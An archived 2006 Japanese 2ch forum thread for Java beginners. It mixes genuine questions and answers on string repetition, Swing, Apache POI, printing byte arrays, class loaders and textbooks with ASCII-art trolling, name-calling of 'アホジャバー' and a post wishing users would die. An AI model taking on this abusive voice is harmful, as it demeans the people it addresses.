【初心者】Java質問・相談スレッド92【大歓迎】
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2006/10/01(日) 20:09:23質問をする前に、貴方が見なければならないサイトについての情報は、
下のwikiのページにまとめてあります。
http://www.wikiroom.com/java/
これからJavaでプログラミングを始めたいが、何をすればいいかわからない人も、
wikiからのリンクをおたどりください。
よくある質問
・「コマンドまたはファイル名が違います」
「'javac' は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチ ファイルとして認識されていません。」
「Exception in thread "main" java.lang.NoClassDefFoundError: 」
http://www.wikiroom.com/java/?path,classpath
・String に == は使うな。equals を使え。
・「\12288 は不正な文字です。」
文字リテラル以外で全角スペースは使えません。半角スペースに。
前スレッド
【初心者】真・Java質問・相談スレッド91【大歓迎】
http://pc8.2ch.net/test/read.cgi/tech/1158332683/
/* 既出の質問や、他に適切なスレが存在する質問は、容赦なく無視されます。
質問をする前にwikiで過去ログ、関連スレ、FAQをチェックしてください。 */
また、当スレで質問をするかたは、回答をもらえたときに、
wikiの更新をして頂ければ、忝なく存じます。
JavaScript, Ajaxの質問は、ここでは受け付けていません。
Web製作板をご利用ください。http://pc5.2ch.net/hp/
次スレは>>980あたりで。
0003デフォルトの名無しさん
2006/10/01(日) 20:16:09・他人に頼らない
・困ったらグーグル
・回答は3ヶ月待ち
0004デフォルトの名無しさん
2006/10/01(日) 20:16:29いや、もうその本でいいと思うお
0005デフォルトの名無しさん
2006/10/01(日) 20:18:30http://pc8.2ch.net/test/read.cgi/tech/1056191116/
0006デフォルトの名無しさん
2006/10/01(日) 20:22:31| アホジャバーの書き込みをコピーして
"■" 。 < 書き込みボタンを押せばゲーム開始じゃ
(,,゚Д゚) ./ | 敵のアホジャバーが襲い掛かってくるぞ!
|  ̄`つ |
┌∪┐| |
└─┘| |
∪ ∪ |
0007デフォルトの名無しさん
2006/10/01(日) 20:23:19あのさー、前スレを参照するときはちゃんとこうやってURLかいてくんかいかな?
非常に迷惑なんだけど。
http://pc8.2ch.net/test/read.cgi/tech/1158332683/973
0008デフォルトの名無しさん
2006/10/01(日) 20:24:340009デフォルトの名無しさん
2006/10/01(日) 20:30:090010デフォルトの名無しさん
2006/10/01(日) 20:30:30見なきゃいいだろ。
0011デフォルトの名無しさん
2006/10/01(日) 20:35:340012デフォルトの名無しさん
2006/10/01(日) 20:41:41貴様らは次スレも満足に立てられない糞JAVAVAVAVAVAVA…
あばばあばば…
∩___∩
| ノ ヽ/⌒) あばばばばばば
/⌒) (゚) (゚) | .|
/ / ( _●_) ミ/ ∩―−、
.( ヽ |∪| / / (゚) 、_ `ヽ
\ ヽノ / / ( ● (゚) |つ
/ / | (入__,,ノ ミ あびゃばあびゃあばばば
| / 、 (_/ ノ
| /\ \ \___ ノ゙ ─――、
| / ) ) /\ _ ヽ
∪ ( \ (⌒0 /\ ヽ (_ノ
\,,_) `ヽノ / 、 )O
0013デフォルトの名無しさん
2006/10/01(日) 20:46:260014デフォルトの名無しさん
2006/10/01(日) 21:01:53どちらが本スレか>>1を見れば一目瞭然ですので。
このスレが本スレです。解りましたか?
0015デフォルトの名無しさん
2006/10/01(日) 21:04:56ふざけたAAが張られていれば偽物です。
このスレは現在進行形の本スレです。
これが、本物の前スレです。
【初心者】真・Java質問・相談スレッド91【大歓迎】
http://pc8.2ch.net/test/read.cgi/tech/1158332683/
そして以下は、気が狂った荒らしが立てた偽スレです
これが、偽スレです。
【初心者】Java質問・相談スレッド92【大歓迎】
http://pc8.2ch.net/test/read.cgi/tech/1159642341/
これが、前スレの偽スレです。
【初心者】Java質問・相談スレッド91【大歓迎】
http://pc8.2ch.net/test/read.cgi/tech/1158289099/
0016デフォルトの名無しさん
2006/10/01(日) 21:07:40本スレはこちら
COBOL vs Java 2戦目
http://pc8.2ch.net/test/read.cgi/tech/1158154668/l50
0017デフォルトの名無しさん
2006/10/01(日) 21:14:260018デフォルトの名無しさん
2006/10/01(日) 21:16:070019デフォルトの名無しさん
2006/10/01(日) 21:29:34世界中のアホjaverつかって大はく力のアホjaverバトルが楽しめるぞ!
0020デフォルトの名無しさん
2006/10/01(日) 21:32:01低脳言語使いはお前だ。
0021デフォルトの名無しさん
2006/10/01(日) 21:33:25,. '" `丶、
/ ` 、
,..-‐/ ...: ,ィ ,.i .∧ , ヽ.
. ,:' .l .::;',. :::;/..://:: /,':/ ', l、 .i ヽ
. ,' ..::| .::;',' :;:','フ'7フ''7/ ',.ト',_|, , ',.',
,' .::::::!'''l/!:;'/ /'゙ / '! ゙;:|:、.|、| 'l
. ,'. .:::::::{ l'.l/ 、_ _,. 'l/',|.';|
l :::::::::::';、ヾ  ̄ `‐-‐'/! ';. '
. ! :::::::::::/ `‐、 ゝ |'゙ |
| ::::::::/ \ 、_, _.,.,_ ノ::: ! 糞スレ乱立させるアホジャヴァーが
|::::/. _rl`': 、_ ///;ト,゙;:::::./
.. `´ /\\ `i;┬:////゙l゙l ヾ/ 早く氏にますように。
,.:く::::::::`:、\ 〉l゙:l / !.|
. /:.:.:.:\:.:.:.:.`:、ソ/:.:| | |
/.:.:.:.:.:.:.:.:.:\:.:.:.:У:.:;l /./
. /:.:.:.:.:.:.:.r'´`‐,`、:/.,.:‐{ | !`:、
,'.:.:.:.:.:.:.:.:.';_,゚.,ノ.:./,:':.:.:.:', | |`、:|
!:.:.:.:.:.:.:.:.:.:.゙、:.::/:.:.:.:.:.:.ヽ, / ,!:.
0022デフォルトの名無しさん
2006/10/01(日) 21:40:48/ ̄\
─( ゚ ∀ ゚ )―
\_/
∩ ∧ ∧∩ / │ \ ∩ ∧ ∧ .∩
.ヽ( ゚∀゚ )/ \( ゚∀゚) /
ヽ| 、. !/ | /
[ニ__」 _ | |
| | ,r'⌒ ⌒ヽ、. /____」
,」 L_ f ,,r' ̄ ̄ヾ. ヽ. .」 L
ヾー‐' | ゞ‐=H:=‐fー)r、) 「'ー‐ヾ'
| じ、 ゙iー'・・ー'ヾi.トソ ハ │
\ \. l、 r==i ,; |' ./ / わははははははははは
\ ノリ^ー->==__,..-‐ヘ__/ / アホジャヴァー共何度も同じ手でやられておるわ
\ ノ ハヽ |_/oヽ__/. ハ /
\ / / /ソ ノ
"ゝy' /o O ,ヾ /
l l ノ |
| .| o O |
| .| ┌─┐ .|
[二二二二二二二二二二二二二二二二二二二二二二二二二二二二二二二二]
0023デフォルトの名無しさん
2006/10/01(日) 21:44:510024デフォルトの名無しさん
2006/10/01(日) 21:47:39昔はC#がJavaを越えるなんて言われていたけど
全然越えていないし。
Google Trends: Java,C#
http://www.google.com/trends?q=Java%2CC%23&ctab=1&geo=all&date=all
0025デフォルトの名無しさん
2006/10/01(日) 21:50:35∧_∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
( ´∀`)/<先生!!生きの良いアホジャバーを捕まえました
_ / / / \ 甲虫王者javaキングで対決させます!
\⊂ノ ̄ ̄ ̄ ̄\ \_______________
||\ \
||\|| ̄ ̄ ̄ ̄ ̄||
|| || ̄ ̄ ̄ ̄ ̄||
.|| ||
0026デフォルトの名無しさん
2006/10/01(日) 21:52:42【初心者】真・Java質問・相談スレッド91【大歓迎】
http://pc8.2ch.net/test/read.cgi/tech/1158332683/l50
の>>757-772 を見てね
0027デフォルトの名無しさん
2006/10/01(日) 21:59:01それでC#厨が悔しがってこのスレを荒らしているんだろ
0028デフォルトの名無しさん
2006/10/01(日) 22:10:23, - ':::::::::::::::::::::::::::::::::::::::::::::::::::\
/ ;;;;;;;:::::::::::::::::::::::::::::::::;;;;;;;;;;;;;;;;;;;;;;\
/,,;,,,,, ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ,,,,,,,,;::::::丶
/ :::::::::;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;:::::::::::::::::::ヽ
i゙:::;:::::||::::::,!i:::::::::::,|i::::::::::::::::::;:::::::::::::::::::::::::::::::゙i
i゙::::|;;;;| |;;;;;| |::::::::::| |:::::::::::::::::||::::::::::::::::::::::::::::::::|
. i゙::::::i ''''''''''' '───' |;;;;;;;;;;;;::::::::::::::::::::|
.|:::::::|,-====-´ ゙ヽ,,,,,,,,,,,,,、 |:::::::::::::::::::|
|;::::::::|,-──、 ~ニニ,,_` |:::::::::::::::::::|
`ヽ、i (、i´ノ ´い,, ノ ' |;;;::::::::::::::/ なんで
. i ^~~~ー==─ ー'-+、 /^゙-、;;;;/
{ ヽゝ '-'~ノ アホジャバー何回も同じ手くらうん?
λ ''゙゙''-''-─、 /-'^"
ヽ,_ ^~^ (
/`''丶、 , - /^l
/ /( ノ `'''''''´~ _, - ' ~ ゙i、
{ / /| ̄ ̄ ̄ ̄ _,-'^¨ }
{/ / ゙ー────'~ \|
/ ヽ \
0029デフォルトの名無しさん
2006/10/01(日) 22:25:550030デフォルトの名無しさん
2006/10/01(日) 23:05:26\______________________/
∨
∧_∧
( ´・ω・`) ∧_∧
/ \ (´∀` ) ハハハ
.__| | .| |_ / ヽ
||\  ̄ ̄ ̄ ̄ / .| | |
||\..∧_∧ (⌒\|__./ ./
||. ( ) ~\_____ノ| ∧_∧
/ ヽアホか \| ( ´_ゝ`) 何言ってんだコイツ?
| ヽ \/ ヽ.
| |ヽ、二⌒) / .| | |
.| ヽ \∧_∧ (⌒\|_∩./ /
0031デフォルトの名無しさん
2006/10/01(日) 23:56:200032デフォルトの名無しさん
2006/10/01(日) 23:58:51しかし、こいつも暇なもんだな。
0033デフォルトの名無しさん
2006/10/02(月) 00:24:070034デフォルトの名無しさん
2006/10/02(月) 01:08:450035デフォルトの名無しさん
2006/10/02(月) 05:25:360036デフォルトの名無しさん
2006/10/02(月) 12:25:110037デフォルトの名無しさん
2006/10/02(月) 16:07:54え、冗談だろ?ww
0038デフォルトの名無しさん
2006/10/02(月) 16:34:390039デフォルトの名無しさん
2006/10/02(月) 16:36:490040デフォルトの名無しさん
2006/10/02(月) 16:47:020041ぴゅあ
2006/10/02(月) 17:01:01本スレ,偽スレと言ってるうちに
「【初心者】Java質問・相談スレッド93【大歓迎】」が立つって流れ?(--;
0042デフォルトの名無しさん
2006/10/02(月) 17:12:30あのAAバカもアホみたいにスレを乱立させるだろうけど。
またスレ93も二つ以上立ってしまうんだろうな
0043デフォルトの名無しさん
2006/10/02(月) 17:21:16並以上ジャバー専用スレまで出張して荒らしをしてるぞ
こっちのアホ専用で回収しろ!
0044デフォルトの名無しさん
2006/10/02(月) 17:44:590045デフォルトの名無しさん
2006/10/02(月) 17:58:200046デフォルトの名無しさん
2006/10/02(月) 18:01:240047デフォルトの名無しさん
2006/10/02(月) 18:04:040048デフォルトの名無しさん
2006/10/02(月) 18:20:25Eclipseサイトにアクセス
0049デフォルトの名無しさん
2006/10/02(月) 18:20:49それは犯罪だからだめだよ
0050デフォルトの名無しさん
2006/10/02(月) 23:43:05>>49
マジレス乙
0051デフォルトの名無しさん
2006/10/02(月) 23:58:030052デフォルトの名無しさん
2006/10/02(月) 23:58:17Eclipse3.2.1だったね
0053デフォルトの名無しさん
2006/10/03(火) 00:14:58マジレス乙
0054デフォルトの名無しさん
2006/10/03(火) 00:55:210055デフォルトの名無しさん
2006/10/03(火) 01:04:57昆虫王者javaキング
0056デフォルトの名無しさん
2006/10/03(火) 01:08:30数当てゲーム
0057デフォルトの名無しさん
2006/10/03(火) 01:12:35まあたいていのものは作れんじゃないのかな。クリエーターのスキル次第だね。
ただ、アイディアや教養や絵のセンスがないと立派なものは作れんけどね。
Javaプログラミングだけでなく、ときにはPhotoshopやIllustratorなんかとも格闘することになる。
0058デフォルトの名無しさん
2006/10/03(火) 01:20:58http://www.shiftup.net/
0059デフォルトの名無しさん
2006/10/03(火) 01:24:18いいゲームを作れる奴はJavaでも作れるだろうし
アイディアが貧困な奴はどんな技術力を持っていてもいいゲームは作れない。
0060デフォルトの名無しさん
2006/10/03(火) 01:36:530061デフォルトの名無しさん
2006/10/03(火) 01:43:29こういう慣性のあるやつは好かん。アメリカっぽい。
日本人ならやっぱり慣性無しだろ。
いや、ぜいたく言ってすまん。
0062デフォルトの名無しさん
2006/10/03(火) 01:48:200063デフォルトの名無しさん
2006/10/03(火) 02:00:40アメリカのゲームは面白いぞ。
人を殺すゲームとか
ぶっちゃけただの戦争ゲームだけどな
0064デフォルトの名無しさん
2006/10/03(火) 02:48:45そんなこと誰も言ってないと思われる。
0065デフォルトの名無しさん
2006/10/03(火) 03:48:060066デフォルトの名無しさん
2006/10/03(火) 04:37:38いや、俺はどんなゲームでも作れると言っちゃうぞ。
ゲームのクォリティは絵・音楽・システム次第とも言い切っちゃうがな。
0067デフォルトの名無しさん
2006/10/03(火) 11:58:20アメリカのゲームはちと嗜好が違うな。
0068デフォルトの名無しさん
2006/10/03(火) 23:51:53みたい文字列を n 個くっつけるのにいい方法ってあるんでしょうか?
for 文とかでくっつけるのしか思いつきません。
0069デフォルトの名無しさん
2006/10/04(水) 00:04:36そういうメソッドをつくってみればいい。
たとえばこんなカンジで。
public static String toString(char c, int length){
StringBuilder result = new StringBuilder();
for(int i = 0; i < length; i++){
result.append(c);
}
return result.toString();
}
0070デフォルトの名無しさん
2006/10/04(水) 00:06:50何にしろ(自力かライブラリか)、どこかで繰り返しの意味を持つプログラムは書かれているので、答えはyes
ただStringをくっつけていくのは遅いし、StringBuilderを生成するのも気が引けるので
つ String.valueOf(char[])
0071デフォルトの名無しさん
2006/10/04(水) 00:25:38それだと、個数を指定できないからダメ。
java.util.regexによる正規表現使うって手もあるかな。
しかしあの程度の単純なものだったら自分でメソッド作った方が早そう。
いろんな応用力きかせることをやりたいっていうなら、正規表現もいいかもね。
それならJakarata OROによるPerl5互換正規表現もいいかも。
0072デフォルトの名無しさん
2006/10/04(水) 00:29:49ん?そうなのか?
String hoge(int n,char c){
char[] st=new char[n];
for(int i=0;i<st.length;st[i++]=c);
return String.valueOf(st);
}
みたいな感じでできそうに思ったんだが
007368
2006/10/04(水) 00:39:09結構手間かかりますね。標準ライブラリには無いのか…。n回連結するメソッド。
for 文で書くことにします。
正規表現を使う方法が気になりますが…。
0074デフォルトの名無しさん
2006/10/04(水) 00:44:44只今javaでパネル1を押すとラベルAが出てきてパネルが消える、パネル2を押すとラベルBが出てきてパネルが消える、というような事をやろうと思っております。
パネル1、パネル2は、ともに最初から描画されています。
詰まっているところはコンポーネントを消したり、描画したりする手順がわからないところです。
よろしくお願いします。
0075デフォルトの名無しさん
2006/10/04(水) 00:53:16new String('a', 5);
C#専用だったかも、忘れた
>>74
それはSwingか?
frame.setVisible(true);
frame.setVisible(false);
007674
2006/10/04(水) 01:04:39ありがとうございます。
いきました。
0077デフォルトの名無しさん
2006/10/04(水) 01:20:55先回りして早合点している気がする。
'aaaaa'を比較に使いたい訳じゃないのよね?
0078デフォルトの名無しさん
2006/10/04(水) 01:42:54Arrays.fill()を使えばいいんだ!
0079デフォルトの名無しさん
2006/10/04(水) 02:19:08/ ̄ ̄ ̄ ̄\
/ \
/\ \ /|
||||||| (・) (・) |
(6-------◯⌒つ| / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| _||||||||| | < こんな偽スレけしからん!
\ / \_/ / \________________
\____/
0080ぴゅあ
2006/10/04(水) 04:08:49標準とは言えんだろうけど
org.apache.commons.lang.StringUtils#repeat(String, int)
というのはあったりする
Jakarta Commons
http://jakarta.apache.org/commons/
のLang API
0081デフォルトの名無しさん
2006/10/04(水) 04:42:000082デフォルトの名無しさん
2006/10/04(水) 06:44:02JDK1.2とかさすがにきついよね。
せめて1.4の2版を手に入れるべきかな?
内容が追加された程度ならば1.2で我慢するけど
大幅に書き換えられてるなら考える。
両方読んで違いとかわかる人いない?
クラスライブラリの追加なら我慢する。
Java6が出そうな時に現行の3版を買うのも微妙かと。
0083デフォルトの名無しさん
2006/10/04(水) 07:15:52彡彡゙゙゙゙゙"゙゙""""""ヾ彡彡)
ミ彡゙ .._ _ ミミミ彡
((ミ彡 '´ ̄ヽ '´/ ̄ ` ,|ミミ))
ミ彡 ' ̄ ̄' 〈 ̄ ̄ .|ミミ彡
ミ彡| ) ) | | `( ( |ミ彡
((ミ彡| ( ( -し`) ) )|ミミミ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ゞ| ) ) 、,! 」( ( |ソ < アホジャヴァー専用スレにふさわしい質問&解答。ほほえましい!感動した!
ヽ( ( ̄ ̄ ̄' ) )/ \_______________
,.|\、) ' ( /|、
 ̄ ̄| `\.`──'´/ | ̄ ̄`
\ ~\,,/~ /
0084デフォルトの名無しさん
2006/10/04(水) 09:27:210085デフォルトの名無しさん
2006/10/04(水) 10:10:25独習Javaは2回版上げされてるけど、内容はほとんど変わってない。
去年の1月に「Java5対応」を謳い3版に版上げされたが、
基本は1版のまま。Java5の話はほとんどおまけ程度。
未だにVector、Hashtable扱ってるし。
Java1.1が現役だった原書の頃からほとんど変わってない。
すでに独習Java持ってるなら、Java5の新機能に特化した本を探した方がいいと思う。
後は、1.4以降で増えた各種ライブラリの使い方かな。
その辺はjavadoc読むのが定石だけど、金払う気があるならこういう本もある。
ttp://www.amazon.co.jp/gp/product/477411717X/
評価は自分でどうぞ。
0086デフォルトの名無しさん
2006/10/04(水) 10:37:54POIEXCELに記述されている書式の設定方法について知りたいのですが、
例えば日付(平成XX年XX月XX日)の書式設定を行い、保存
それからPOIで読み込んでも、
日付の方はセルスタイルコードが180,181,182となり、
よく説明ページで記載されている
日付として使われている22または176ではなく
数値として判断されています。
POIで読み込ませるEXCELのどこを変更すれば
POIで日付フォーマットとして認識されるのでしょうか。
008782
2006/10/04(水) 11:17:23>>84,85
独習で基本抑えて足りない分は5.0対応の分で補うみたいな感じを考えております。
少し古いものであれば研究室からいらないものが頂けるんですが
ほとんどの物が1.4以下になりますね。
独習が使えそうなら独習→コアと流れてみようと思います。
レスありがとうございました。
0088デフォルトの名無しさん
2006/10/04(水) 12:02:240089デフォルトの名無しさん
2006/10/04(水) 13:53:410090デフォルトの名無しさん
2006/10/04(水) 15:24:50POIEXCEL? なんだそれは
POIとExcelなら知っているが
0091デフォルトの名無しさん
2006/10/04(水) 15:25:32君にも学生だった時代はないのか?
自分に氏ねといってるようなものだぞ
0092デフォルトの名無しさん
2006/10/04(水) 15:26:150093デフォルトの名無しさん
2006/10/04(水) 15:27:06とりあえず黙ってソースコードみせな
0094デフォルトの名無しさん
2006/10/04(水) 16:10:13そこまでいうなら自信はあるんだろうな?
0095デフォルトの名無しさん
2006/10/04(水) 16:10:270096デフォルトの名無しさん
2006/10/04(水) 17:03:11だが今はもう古臭くて使い物にならんよってことだ。
Javaの基本を理解するにはそれほど悪くはないだろうが、
今だったらもっと良い本が出ているだろうな。
0097デフォルトの名無しさん
2006/10/04(水) 17:09:26初版が出た当時(Java1.1)の本としては悪くない。
練習問題を重視するスタイルが、競合する他の入門書とかぶってないので
手を動かすことを重視する人には受けがいい。
Java1.1より後の追加仕様は結構あるが、
そこは後で学ぶ、と割り切れば、今でも使える本。
0098デフォルトの名無しさん
2006/10/04(水) 17:14:32乙
0099デフォルトの名無しさん
2006/10/04(水) 17:26:131.1って…
それは、お話になりませんって言ってるも同然だろう…
0100デフォルトの名無しさん
2006/10/04(水) 17:41:34俺はC言語の勉強をするとき、独習Cを買って読んで
C言語を覚えた。かなり詳しく書いてあったので
独習Cは良い本だ、と思った。そして、
「ならば、最近出た独習Javaという本も解りやすくて良い本なのではないか?」
と思って買って読んでみたんだ。そしたら、演習問題を確実に解いた結果、
Javaの基礎を覚えたには覚えたんだが、応用力はまったく付かなかったってとこだね。
独習Javaを読んだだけでは、その先にあるものを何も理解できない。これは本当。
Javadocのことを知ったのも、ArrayListやIterator, Mapのことを知ったのも、他の本やサイトで後になってからだ。
独習Javaについては、当然ServletやJDBCのことも載っていなかった。そしてJava Web StartやSwingも載っていない。
TomcatのこともAntのことも何も載っていない。
それに肝心な直列化のこともコンカレント工学のことも載っていない。
署名についてもJarについてもろくに載っていない。マニフェストファイルについても
JavaBeansについてもろくに載っていない。それが独習Javaだ。
0101デフォルトの名無しさん
2006/10/04(水) 17:44:260102デフォルトの名無しさん
2006/10/04(水) 17:48:46byte[] byt=st.getBytes();
System.out.println(byt);
System.out.println(st.getBytes());
出力結果
[B@145d068
[B@758fc9
このコードではなぜか異なる結果が出てしまいます。
Stringの方の出力結果が、bytの出力と同じ結果を返すようにするにはどうすればよいでしょうか?
どうかよろしくお願いします。
0103デフォルトの名無しさん
2006/10/04(水) 18:01:100104デフォルトの名無しさん
2006/10/04(水) 18:14:02彡彡゙゙゙゙゙"゙゙""""""ヾ彡彡)
ミ彡゙ .._ _ ミミミ彡
((ミ彡 '´ ̄ヽ '´/ ̄ ` ,|ミミ))
ミ彡 ' ̄ ̄' 〈 ̄ ̄ .|ミミ彡
ミ彡| ) ) | | `( ( |ミ彡
((ミ彡| ( ( -し`) ) )|ミミミ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ゞ| ) ) 、,! 」( ( |ソ < アホジャヴァー専用スレにふさわしい低レベル質問&低レベル解答。ほほえましい!感動した!
ヽ( ( ̄ ̄ ̄' ) )/ \_______________
,.|\、) ' ( /|、
 ̄ ̄| `\.`──'´/ | ̄ ̄`
0105デフォルトの名無しさん
2006/10/04(水) 18:28:030106デフォルトの名無しさん
2006/10/04(水) 18:52:15あのさぁ、見るべきは String.getBytes() の方じゃないのか?
0107デフォルトの名無しさん
2006/10/04(水) 18:56:06<´ じゃあおめえが答えてみろ >
⌒ v'⌒ヽr -、_ ,r v'⌒ヽr ' ⌒
// // ///:: < _,ノ`' 、ヽ、_ ノ ;;;ヽ //
///// /:::: (y○')`ヽ) ( ´(y○') ;;| /
// //,|::: ( ( / ヽ) )+ ;| /
/ // |::: + ) )|~ ̄ ̄~.|( ( ;;;|// ////
/// :|:: ( (||||! i: |||! !| |) ) ;;;|// ///
////|:::: + U | |||| !! !!||| :U ;;; ;;;| ///
////|::::: | |!!||l ll|| !! !!| | ;;;;;;| ////
// / ヽ::::: | ! || | ||!!| ;;;;;;/// //
// // ゝ:::::::: : | `ー----−' |__////
0108デフォルトの名無しさん
2006/10/04(水) 18:58:23これ回してみろ
String st="かきくけこ";
for(int i=0; i<10; i++){
System.out.println(st.getBytes());
}
0109デフォルトの名無しさん
2006/10/04(水) 19:08:580110デフォルトの名無しさん
2006/10/04(水) 19:14:46お前がね^^
0111デフォルトの名無しさん
2006/10/04(水) 19:18:030112デフォルトの名無しさん
2006/10/04(水) 19:21:06間違い指摘されて必死だな。
0113デフォルトの名無しさん
2006/10/04(水) 19:22:19m9(^Д^)プギャーーーッ
___
/ ヽ
, -‐ (_).⌒ l ̄| ⌒ | __o
l_j_j_j と) ノ─| ノ | 二|二'' _
/ / ヽ ノ | ヤ ッ
〈 ノ |
/ /\ __ /\ \
| .| | | __o
i⌒ヽ | | | .| | 二|二'' _
|⌒ |⌒ | ヽ_ノ| .| ノ__ヽ =@ | ノ =@ | ヤ ッ
| | | ヽ_ノ .\ . l l /
/ ̄ ̄^ヽ /::.__ .::::::::::::: __ ヽ_
l l / / ヽ_ヽv /: / ヽ ヽ
_ /,--、l ノ /  ̄ ̄ √___丶 ̄ ̄ |
,--、_ノ:: `ー':: 、ミー---‐,,l | // tーーー|ヽ |
,/ ::: i ̄ ̄ | | ..: | |ヽ |
/ l::: l::: l | | |⊂ニヽ| | |
l . l !:: |::: l | | | |:::T::::| ! |
| l l |:: l: l \: ト--^^^^^┤ 丿
| l . } l:::::,r----- l \::  ̄ ̄^ヽ 丿
ヽ :l:::: ト:;;;;;;;/-/__........... / __o
| 二|二゛ ___
ノ | ヤ
0114デフォルトの名無しさん
2006/10/04(水) 19:22:34呼び出されるので(ry
0115デフォルトの名無しさん
2006/10/04(水) 19:23:17必死になってるのは別人。
恐らく例の"彼"でしょうw
0116デフォルトの名無しさん
2006/10/04(水) 19:24:55質問です。
---------------------------------------------------
PackageBBB::InterfaceB ← <<use>> PackageAAA:ClassA
↑<<implements>>
PackageCCC::ClassC <<use>>→ PackageDDD::ClassD
---------------------------------------------------
PackageBBB::InterfaceBとPackageAAA:ClassAは静的にロードされている。
以上のような構成の時に
public PackageBBB::InterfaceB loadExtension(){
URL[] jarFiles = new URL[]{"PackageBBB.jar" ,"PackageCCC.jar", "PackageDDD"}; // ※1 なぜPackageBBB.jarを指定する必要がある?
URLClassLoader loader = new URLClassLoader(jarFiles, ClassLoader.getSystemClassLoader());
Object instance = loader.loadClass("PackageCCC::ClassC").newInstance(); //※2
PackageBBB::InterfaceB ibImpl = (PackageBBB::InterfaceB) instance; // ※3 CastExceptionが発生するんですが・・・。
return ibImpl;
}
んで、※2で、PackageCCC::ClassCのインスタンスを作成すると、※3でキャストすることができません・・・。
キャストできるような方法を教えてください。
多分、new URLClassLoader(jarFiles, ClassLoader.getSystemClassLoader()); あたりが怪しいとおもうのですが・・・。
あと、※1で、PackageBBB.jarを指定しないと※3で、PackageBBB::InterfaceBがネーヨと怒られちゃいます。
その理由も教えていただけたら幸いです・・・。
長くなりましたがお願い致します。m(_ _)m
0117デフォルトの名無しさん
2006/10/04(水) 19:24:58【初心者】Java質問・相談スレッド92【大歓迎】
http://pc8.2ch.net/test/read.cgi/tech/1159642341/
0118デフォルトの名無しさん
2006/10/04(水) 19:26:15::が入ってるところがJavaじゃない
0119デフォルトの名無しさん
2006/10/04(水) 19:27:03独習Javaはプログラミングを今までしたことがない人間が読むには耐えられる本。
ただ、今までCやC++をある程度いじっている人間にはあまり進められない。
昔CやC++では独習に少し世話になったがJavaをみたらはまずソースもめちゃくちゃに
汚いし、説明も冗長すぎる。はっきり言ってあれで学ぶのは薦められない。
他の開発経験があるんならJavaプログラムデザインなんていいんじゃないかね?
ただSwingとかの説明は全くないのでその辺は別に。ソースコードのきれいさは結城さんの
本あたりがお勧め。
0120デフォルトの名無しさん
2006/10/04(水) 19:29:43すみません、そこは改変ミスでした。
×
public PackageBBB::InterfaceB loadExtension(){
URL[] jarFiles = new URL[]{"PackageBBB.jar" ,"PackageCCC.jar", "PackageDDD"}; // ※1 なぜPackageBBB.jarを指定する必要がある?
URLClassLoader loader = new URLClassLoader(jarFiles, ClassLoader.getSystemClassLoader());
Object instance = loader.loadClass("PackageCCC::ClassC").newInstance(); //※2
PackageBBB::InterfaceB ibImpl = (PackageBBB::InterfaceB) instance; // ※3 CastExceptionが発生するんですが・・・。
return ibImpl;
}
○
public PackageBBB::InterfaceB loadExtension(){
URL[] jarFiles = new URL[]{"PackageBBB.jar" ,"PackageCCC.jar", "PackageDDD.jar"}; // ※1 なぜPackageBBB.jarを指定する必要がある?
URLClassLoader loader = new URLClassLoader(jarFiles, ClassLoader.getSystemClassLoader());
Object instance = loader.loadClass("PackageCCC.ClassC").newInstance(); //※2
PackageBBB.InterfaceB ibImpl = (PackageBBB.InterfaceB) instance; // ※3 CastExceptionが発生するんですが・・・。
return ibImpl;
}
0121デフォルトの名無しさん
2006/10/04(水) 19:31:42荒らしは馬鹿解答しないから君でしょ。往生際わるいね。
0122デフォルトの名無しさん
2006/10/04(水) 19:31:440123デフォルトの名無しさん
2006/10/04(水) 19:34:38m9(^Д^)プギャーーーッ
___
/ ヽ
, -‐ (_).⌒ l ̄| ⌒ | __o
l_j_j_j と) ノ─| ノ | 二|二'' _
/ / ヽ ノ | ヤ ッ
〈 ノ |
/ /\ __ /\ \
| .| | | __o
i⌒ヽ | | | .| | 二|二'' _
|⌒ |⌒ | ヽ_ノ| .| ノ__ヽ | ノ | ヤ ッ
| | | ヽ_ノ .\ . l l /
/ ̄ ̄^ヽ /::.__ .::::::::::::: __ ヽ_
l l / / ヽ_ヽv /: / ヽ ヽ
_ /,--、l ノ /  ̄ ̄ √___丶 ̄ ̄ |
,--、_ノ:: `ー':: 、ミー---‐,,l | // tーーー|ヽ |
,/ ::: i ̄ ̄ | | ..: | |ヽ |
/ l::: l::: l | | |⊂ニヽ| | |
l . l !:: |::: l | | | |:::T::::| ! |
| l l |:: l: l \: ト--^^^^^┤ 丿
| l . } l:::::,r----- l \::  ̄ ̄^ヽ 丿
ヽ :l:::: ト:;;;;;;;/-/__........... / __o
| 二|二゛ ___
ノ | ヤ
0124デフォルトの名無しさん
2006/10/04(水) 19:38:140125デフォルトの名無しさん
2006/10/04(水) 19:49:47m9(^Д^)プギャーーーッ
___
/ ヽ
, -‐ (_).⌒ l ̄| ⌒ | __o
l_j_j_j と) ノ─| ノ | 二|二'' _
/ / ヽ ノ | ヤ ッ
〈 ノ |
/ /\ __ /\ \
| .| | | __o
i⌒ヽ | | | .| | 二|二'' _
|⌒ |⌒ | ヽ_ノ| .| ノ__ヽ | ノ | ヤ ッ
| | | ヽ_ノ .\ . l l /
/ ̄ ̄^ヽ /::.__ .::::::::::::: __ ヽ_
l l / / ヽ_ヽv /: / ヽ ヽ
_ /,--、l ノ /  ̄ ̄ √___丶 ̄ ̄ |
,--、_ノ:: `ー':: 、ミー---‐,,l | // tーーー|ヽ |
,/ ::: i ̄ ̄ | | ..: | |ヽ |
/ l::: l::: l | | |⊂ニヽ| | |
l . l !:: |::: l | | | |:::T::::| ! |
| l l |:: l: l \: ト--^^^^^┤ 丿
| l . } l:::::,r----- l \::  ̄ ̄^ヽ 丿
ヽ :l:::: ト:;;;;;;;/-/__........... / __o
| 二|二゛ ___
ノ | ヤ
0126デフォルトの名無しさん
2006/10/04(水) 19:56:540127デフォルトの名無しさん
2006/10/04(水) 19:59:430128デフォルトの名無しさん
